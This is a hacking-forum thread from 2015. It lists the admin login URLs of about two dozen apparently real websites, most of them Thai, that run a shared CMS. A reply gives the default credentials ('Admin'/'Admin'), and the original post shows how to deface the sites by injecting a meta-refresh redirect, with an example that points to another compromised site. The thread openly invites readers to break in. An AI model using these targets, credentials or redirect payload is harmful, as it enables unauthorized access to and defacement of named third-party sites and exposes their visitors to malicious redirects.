+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: [CMS HACKED:]> "Hello, my name is Admin"_[/20+ Admin Panels] (/showthread.php?tid=4748912)
[CMS HACKED:]> "Hello, my name is Admin"_[/20+ Admin Panels] - ｍＯｂｉＩｅ - Mar 26, 2015
![[Image: UrLKS.png]](https://i.imgur.com/UrLKS.png)
[img]http://www.yuris5khouston.com/uploads/3/9/1/9/3919285/457014621.png[/img]
Idk what this CMS Developer was thinking ....But guess what the default username and passwords are to these 20+ websites? 😏
![[Image: cWIMIq5.jpg]](https://i.imgur.com/cWIMIq5.jpg)
![[Image: WIi6jZ6.jpg]](https://i.imgur.com/WIi6jZ6.jpg)
PHP Code
<?php
http://www.saireehutkohtao.com/admin/login.php
http://www.tketsang.com/admin/login.php
http://www.changingdiabetesthailand.com/admin/login.php
http://www.visioninter.co.th/admin/login.php
http://www.sahasap2013.com/admin/login.php
http://www.jsut.co.th/admin/login.php
http://www.mr-thailand.com/admin/login.php
http://www.chayoratn.com/admin/login.php
http://www.siampetroleumservices.com/admin/login.php
http://www.thewinner-pattaya.com/admin/login.php
http://www.pu.co.th/admin/login.php
http://naratwin.com/admin/login.php
http://www.rafia.co.th/admin/login.php
http://www.tsbgroups.in.th/admin/login.php
http://www.ptchemmerce.com/admin/login.php
http://www.issconsulting.co.th/admin/login.php
http://www.pjplastic.com/admin/login.php
http://www.diabetescareth.com/admin/login.php
http://www.pavillianexecutivess.com/admin/login.php
http://www.pluzcoll.com/admin/login.php
http://www.alu-log.com/admin/login.php
http://www.utsl.co.th/admin/login.php
http://www.teddyhouse.com/admin/login.php
http://vipservices.co.th/admin/login.php
Unable to shell, so i's pretty useless to me. =/ ...but it does support HTML so you can at least redirect users to a deface page. 👍
EXAMPLE:
PHP Code
<?php
http://www.pu.co.th/newsandevent_detail_th.php?newsid=22
Quote:<meta HTTP-EQUIV="REFRESH" content="0; url=http://www.companyregistrationsindia.in/admin/user_documents/5.html">
inb4 new content is added to these websites. Enjoy! 🤝
* - Nachfolger - Mar 26, 2015
Pass: Admin username: Admin
GG developers.
* - ༺คק๏ll๏༻ - Apr 3, 2015
hahaha gg developers.
but that password though :o